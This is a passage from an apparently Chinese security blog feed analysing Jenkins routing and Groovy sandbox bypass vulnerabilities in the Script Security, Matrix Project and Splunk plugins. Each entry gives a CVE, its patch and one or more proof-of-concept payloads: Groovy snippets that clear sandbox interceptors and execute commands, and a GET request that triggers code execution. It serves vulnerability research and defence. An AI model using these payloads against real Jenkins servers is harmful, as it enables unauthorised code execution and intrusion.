&lt;li&gt;&lt;p&gt;http响应并执行命令&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259623884.png&#34; alt=&#34;1568259623884&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259687132.png&#34; alt=&#34;1568259687132&#34; /&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;注意：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;当通过grab拉取jar后会在&lt;code&gt;~/.groovy/grapes&lt;/code&gt;目录创建相应的&lt;code&gt;ivy.xml&lt;/code&gt;文件（类似于pom文件，保存依赖关系）和&lt;code&gt;jars&lt;/code&gt;目录，当再次请求相同的包时会从本地获取jar文件而不会去请求http，如果要再次请求就需要更改包名或版本；&lt;/li&gt;
&lt;li&gt;还需要注意目标的Java版本与编译恶意类的Java版本是否一致，否则会报错；&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;security-1320&#34;&gt;SECURITY-1320&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;CVE：CVE-2019-1003024&lt;/li&gt;
&lt;li&gt;插件：Script Security Plugin&lt;/li&gt;
&lt;li&gt;版本：&amp;lt;=1.52&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;补丁中对1320的&lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/3228c88e84f0b2f24845b6466cae35617e082059#diff-6f8c6ffbeca4d1d208c9c232770a644fR950&#34;&gt;测试用例&lt;/a&gt;提示了绕过方法，就是通过导入别名的方式&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571124411948.png&#34; alt=&#34;1571124411948&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;poc-4&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import groovy.transform.ASTTest as lolwut;
@lolwut(value={assert java.lang.Runtime.getRuntime().exec(&amp;quot;calc&amp;quot;)})
class ASTTestPoc{};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571125498965.png&#34; alt=&#34;1571125498965&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1321&#34;&gt;SECURITY-1321&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;CVE：CVE-2019-1003024&lt;/li&gt;
&lt;li&gt;插件：Script Security Plugin&lt;/li&gt;
&lt;li&gt;版本：&amp;lt;=1.52&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;同样根据&lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/3228c88e84f0b2f24845b6466cae35617e082059#diff-6f8c6ffbeca4d1d208c9c232770a644fR921&#34;&gt;测试用例&lt;/a&gt;发现通过&lt;code&gt;元注释&lt;/code&gt;来绕过&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/api/groovy/transform/AnnotationCollector.html&#34;&gt;文档&lt;/a&gt;上的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import groovy.transform.*
@AnnotationCollector([EqualsAndHashCode, ToString])
@interface Simple {}

@Simple
class User {
    String username
    int age
}

def user = new User(username: &#39;mrhaki&#39;, age: 39)
assert user.toString()
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;poc-5&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import groovy.transform.*;
@AnnotationCollector([ASTTest])
@interface Lol {}
@Lol(value={assert java.lang.Runtime.getRuntime().exec(&amp;quot;calc&amp;quot;)})
class ASTTestPoc{};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571128442836.png&#34; alt=&#34;1571128442836&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-2&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/3228c88e84f0b2f24845b6466cae35617e082059&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;版本：1.53&lt;/li&gt;
&lt;li&gt;概述：SECURITY-1318, SECURITY-1319, SECURITY-1320, SECURITY-1321均在1.53版本中修复，把Grab注释相关的方法全部放进了黑名单&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570871810447.png&#34; alt=&#34;1570871810447&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1339&#34;&gt;SECURITY-1339&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339&#34;&gt;https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-1003031&lt;/li&gt;
&lt;li&gt;插件：Matrix Project Plugin&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;= 1.13&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个漏洞需要配合&lt;a href=&#34;https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336%20(1)&#34;&gt;SECURITY-1336 (1)&lt;/a&gt; / CVE-2019-1003029触发，本质还是利用在解析groovy脚本后中通过script.run()执行代码&lt;/p&gt;

&lt;h4 id=&#34;分析-2&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;从页面提交Filter之后执行到&lt;code&gt;hudson.matrix.MatrixProject#submit()&lt;/code&gt;，payload传给参数&lt;code&gt;combinationFilter&lt;/code&gt;，随后执行&lt;code&gt;rebuildConfigurations&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568687478328.png&#34; alt=&#34;1568687478328&#34; /&gt;&lt;/p&gt;

&lt;p&gt;payload传入&lt;code&gt;evalGroovyExpression&lt;/code&gt;，然后调用&lt;code&gt;hudson.matrix.FilterScript#parse()&lt;/code&gt;方法初始化一个GroovyShell，并通过GroovyShell解析表达式，代码得到执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568687517862.png&#34; alt=&#34;1568687517862&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568792862732.png&#34; alt=&#34;1568792862732&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;poc-6&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class poc{poc(){&amp;quot;calc&amp;quot;.execute()}}
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;补丁-3&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;jenkinsci/matrix-project-plugin &lt;a href=&#34;https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;概述：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在SECURITY-1336的修复中，使用安全的方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;GroovySandbox.run(GroovyShell, String, Whitelist)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;代替&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;GroovySandbox.run(Script, Whitelist)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568691589273.png&#34; alt=&#34;1568691589273&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568691613625.png&#34; alt=&#34;1568691613625&#34; /&gt;&lt;/p&gt;

&lt;p&gt;安全方法会在执行之前通过白名单检查，之后直接通过shell.parse会抛出一个java.lang.IllegalStateException的异常&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568691388339.png&#34; alt=&#34;1568691388339&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1465&#34;&gt;SECURITY-1465&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2&#34;&gt;https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-10355, CVE-2019-10356&lt;/li&gt;
&lt;li&gt;插件：Script Security&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.61&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;概述&#34;&gt;概述&lt;/h4&gt;

&lt;p&gt;Groovy语法中的方法指针运算符&lt;code&gt;.&amp;amp;&lt;/code&gt;可以获取一个方法指针，后面再调用该指针可以直接访问到指定方法，如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;void doSomething(def param) {
    println &amp;quot;In doSomething method, param: &amp;quot; + param
}
def m = this.&amp;amp;doSomething
m(&amp;quot;test param&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&#34;分析-3&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;org.kohsuke.groovy.sandbox.GroovyInterceptor&lt;/code&gt;是一个拦截器类，功能是为当前线程创建相应方法的拦截器，在接收拦截之前，需要通过&lt;code&gt;GroovyInterceptor#register()&lt;/code&gt;注册，相关方法在&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568858988658.png&#34; alt=&#34;1568858988658&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在script-security 1.58版本中把这部分代码放到了GroovySandbox.Scope enter()方法中&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568859792340.png&#34; alt=&#34;1568859792340&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而register()方法的功能是通过&lt;code&gt;threadInterceptors.get().add()&lt;/code&gt;为当前线程注册拦截器&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public void register() {
    ((List)threadInterceptors.get()).add(this);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;该漏洞的利用点就是在&lt;code&gt;threadInterceptors.get()&lt;/code&gt;获取到线程信息之后，再调用clear()方法清除当前线程的所有拦截器，使黑名单失效，然后就可以注入自定义代码来绕过沙箱&lt;/p&gt;

&lt;p&gt;本地测试一下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-groovy&#34;&gt;({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;calc&amp;quot; }()).execute();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568861762489.png&#34; alt=&#34;1568861762489&#34; /&gt;&lt;/p&gt;

&lt;p&gt;但是直接发送这个脚本会被&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.whitelists.StaticWhitelist#rejectStaticField()&lt;/code&gt;拦截，于是可以在&lt;code&gt;execute&lt;/code&gt;之前利用&lt;code&gt;.&amp;amp;&lt;/code&gt;操作符绕过&lt;/p&gt;

&lt;p&gt;或者利用这个&lt;a href=&#34;https://github.com/jenkinsci/groovy-sandbox/issues/54&#34;&gt;issue&lt;/a&gt;的方式，在此处&lt;code&gt;.&amp;amp;&lt;/code&gt;并没有起到实质调用的作用，只是为了绕过Jenkins对&lt;code&gt;staticField&lt;/code&gt;的检查&lt;/p&gt;

&lt;h4 id=&#34;poc-7&#34;&gt;PoC&lt;/h4&gt;

&lt;p&gt;PoC的变化也多种多样，可以通过上面分析的&lt;code&gt;Matrix Project Plugin&lt;/code&gt;插件触发&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Poc1&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;calc&amp;quot; }().&amp;amp;toString).execute();
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;PoC2&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;1.&amp;amp;({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &#39;x&#39; }()); &#39;calc&#39;.execute()
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568792275964.png&#34; alt=&#34;1568792275964&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-4&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/groovy-sandbox &lt;a href=&#34;https://github.com/jenkinsci/groovy-sandbox/commit/e30cd28d7b30cd606e78c22174cb04e0450244a7&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;概述：在方法指针表达式增加了transform检查&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568801252778.png&#34; alt=&#34;1568801252778&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1538&#34;&gt;SECURITY-1538&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1538&#34;&gt;https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1538&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-10393, CVE-2019-10394, CVE-2019-10399, CVE-2019-10400&lt;/li&gt;
&lt;li&gt;插件：Script Security&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.62&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;概述-1&#34;&gt;概述&lt;/h4&gt;

&lt;p&gt;该问题与&lt;a href=&#34;https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2)&#34;&gt;SECURITY-1465&lt;/a&gt;一样，由于groovy语法特性导致绕过，此次利用的是方法调用表达式，可以通过&lt;code&gt;()&lt;/code&gt;运算符直接调用call方法，如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class MyCallable {
    int call(int x) {           
        2*x
    }
}
def mc = new MyCallable()
assert mc.call(2) == 4          
assert mc(2) == 4   
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;同理，自增(&lt;code&gt;++&lt;/code&gt;)自减(&lt;code&gt;--&lt;/code&gt;)运算符也能间接调用到方法&lt;/p&gt;

&lt;h4 id=&#34;分析-4&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;本质上还是通过&lt;code&gt;threadInterceptors.get().clear()&lt;/code&gt;清除拦截器再执行任意代码&lt;/p&gt;

&lt;h4 id=&#34;poc-8&#34;&gt;PoC&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;poc1&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;&#39;calc&#39;.({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;execute&amp;quot; }())();
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;poc2&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;++({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); &amp;quot;toString&amp;quot; }());
&#39;calc&#39;.execute()
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568792171461.png&#34; alt=&#34;1568792171461&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-5&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/groovy-sandbox &lt;a href=&#34;https://github.com/jenkinsci/groovy-sandbox/commit/e30cd28d7b30cd606e78c22174cb04e0450244a7&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;概述：对方法调用表达式以及递增递减表达式都做了处理&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568863989383.png&#34; alt=&#34;1568863989383&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568864020702.png&#34; alt=&#34;1568864020702&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1294&#34;&gt;SECURITY-1294&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-08-28/#SECURITY-1294&#34;&gt;https://jenkins.io/security/advisory/2019-08-28/#SECURITY-1294&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE-2019-10390&lt;/li&gt;
&lt;li&gt;插件：Splunk Plugin&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.7.4&lt;/li&gt;
&lt;li&gt;利用点

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;com.splunk.splunkjenkins.SplunkJenkinsInstallation#doCheckScriptContent&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;分析-5&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;通过上面分析的descriptorByName可以直接调用到指定的类，注意到SplunkJenkinsInstallation类的&lt;code&gt;doCheckScriptContent&lt;/code&gt;方法，该方法调用了&lt;/p&gt;

&lt;p&gt;&lt;code&gt;LogEventHelper.validateGroovyScript(value)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;该方法对script进行了解析，而参数value的值直接从request获取，因此传入精心构造的脚本可导致任意代码执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1567144975420.png&#34; alt=&#34;1567144975420&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;poc-9&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;GET /descriptorByName/com.splunk.splunkjenkins.SplunkJenkinsInstallation/checkScriptContent?value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec(%22calc%22)})%0aclass%20ASTTestPoc{}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1567144024727.png&#34; alt=&#34;1567144024727&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁-6&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/splunk-devops-plugin &lt;a href=&#34;https://github.com/jenkinsci/splunk-devops-plugin/commit/58db2878a7faa4c34f73774f28740e5ac8041928&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;版本：1.8.0&lt;/li&gt;
&lt;li&gt;概述：引入GroovySandbox在解析前对Groovy脚本进行校验&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1567144462308.png&#34; alt=&#34;1567144462308&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;本报告分析了Jenkins动态路由机制和路由绕过的问题，并讨论了在主流插件Script Security中针对Groovy沙箱的绕过方法，其中最巧妙的是利用自身路由白名单绕过登录检查并结合Groovy语法达到远程代码执行，是一条非常精彩的利用链。&lt;/p&gt;

&lt;p&gt;在修复方式上，可以看出Jenkins对于沙箱问题采取的防护方法是黑名单+白名单的方式，对安全的控制还是比较好的，不少问题都出在Groovy的语法特性上，使得较小权限的用户可以突破沙箱执行任意代码，相信以后也会有更巧妙的方式来绕过沙箱，欢迎大家探讨。&lt;/p&gt;

&lt;p&gt;参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&#34;&gt;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/grape.html&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/grape.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html&#34;&gt;http://docs.groovy-lang.org/latest/html/documentation/core-operators.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Jenkins 路由解析及沙箱绕过漏洞分析报告(上)</title>
      <link>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8A/</link>
      <pubDate>Tue, 15 Sep 2020 16:42:32 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8A/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h1 id=&#34;jenkins-路由解析及沙箱绕过漏洞分析报告-上&#34;&gt;Jenkins 路由解析及沙箱绕过漏洞分析报告(上)&lt;/h1&gt;

&lt;p&gt;&lt;img src=&#34;https://jenkins.io/images/logo-title-opengraph.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;本报告主要研究Jenkins的路由解析机制和Groovy沙箱绕过带来的安全问题，梳理Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。由于篇幅较长，分为上下两篇发表，文中疏漏之处还请批评指正。&lt;/p&gt;

&lt;p&gt;Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。Jenkins的目的是持续、自动化地构建/测试软件项目以及监控软件开发流程，快速问题定位及处理，提升开发效率。&lt;/p&gt;

&lt;p&gt;Script Security插件是Jenkins的一个安全插件，可以集成到Jenkins各种功能插件中。它主要支持两个相关系统：脚本批准和Groovy沙箱，分别用来管控脚本是否允许执行以及将脚本限制在安全环境下执行，避免带来不可控风险。&lt;/p&gt;

&lt;h3 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;下载相应版本的war包&lt;/p&gt;

&lt;p&gt;地址：&lt;a href=&#34;https://updates.jenkins-ci.org/download/war/&#34;&gt;https://updates.jenkins-ci.org/download/war/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;设置环境变量JENKINS_HOME&lt;/p&gt;

&lt;p&gt;&lt;code&gt;set JENKINS_HOME=D:\Jenkins\jenkins_2.137&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;加上调试选项并运行&lt;/p&gt;

&lt;p&gt;&lt;code&gt;java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jenkins_2.137.war --httpPort=8082&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;安装插件&lt;/p&gt;

&lt;p&gt;国内镜像地址：&lt;a href=&#34;https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json&#34;&gt;https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Jenkins在安装过程中会自动下载部分插件的最新版，这部分可以先跳过，再在后台上传特定版本的插件（&lt;code&gt;.hpi&lt;/code&gt;文件）进行安装，然后重启Jenkins完成安装&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;动态路由机制&#34;&gt;动态路由机制&lt;/h2&gt;

&lt;p&gt;首先从WEB-INF/web.xml入手看看Jenkins如何处理路由，可以看到所有请求都交给org.kohsuke.stapler.Stapler，具体是由Stapler:service()方法来处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568171738754.png&#34; alt=&#34;1568171738754&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568171941279.png&#34; alt=&#34;1568171941279&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在service方法中主要调用的是invoke方法，两处调用的区别是invoke的第3和第4个参数不同，分别是根节点root和url路径，在调用之前判断了url路径，如果是&lt;code&gt;/$stapler/bound/&lt;/code&gt;开头，则把根节点设置为&lt;code&gt;boundObjectTable&lt;/code&gt;，否则通过&lt;code&gt;this.webApp.getApp()&lt;/code&gt;把根节点设置为&lt;code&gt;hudson.model.Hudson&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;跟进invoke方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568172501683.png&#34; alt=&#34;1568172501683&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568172552611.png&#34; alt=&#34;1568172552611&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用的是&lt;code&gt;Stapler#tryInvoke()&lt;/code&gt;方法，tryInvoke()方法中对node类型（也就是一开始的root）进行了判断，按先后顺序分别处理三种情况&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;StaplerProxy&lt;/li&gt;
&lt;li&gt;StaplerOverridable&lt;/li&gt;
&lt;li&gt;StaplerFallback&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这三种情况的具体区别可以参考Jenkins关于&lt;a href=&#34;https://jenkins.io/zh/doc/developer/handling-requests/routing/&#34;&gt;路由请求&lt;/a&gt;的文档&lt;/p&gt;

&lt;p&gt;这里我们关注中间获取metaClass和调用dispatch的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568172929817.png&#34; alt=&#34;1568172929817&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过传入&lt;code&gt;/securityRealm/user/admin/&lt;/code&gt;动态调试来跟踪理解&lt;/p&gt;

&lt;h3 id=&#34;初始化metaclass&#34;&gt;初始化metaClass&lt;/h3&gt;

&lt;p&gt;WebApp中会缓存一个classMap存放MetaClass，无对应缓存则通过&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;mc = new MetaClass(this, c); 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;进行初始化，这个过程发生在Jenkins刚启动没有缓存时，当建立缓存后则直接从classMap获取相应的MetaClass&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;MetaClass mc = (MetaClass)this.classMap.get(c);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568188301839.png&#34; alt=&#34;1568188301839&#34; /&gt;&lt;/p&gt;

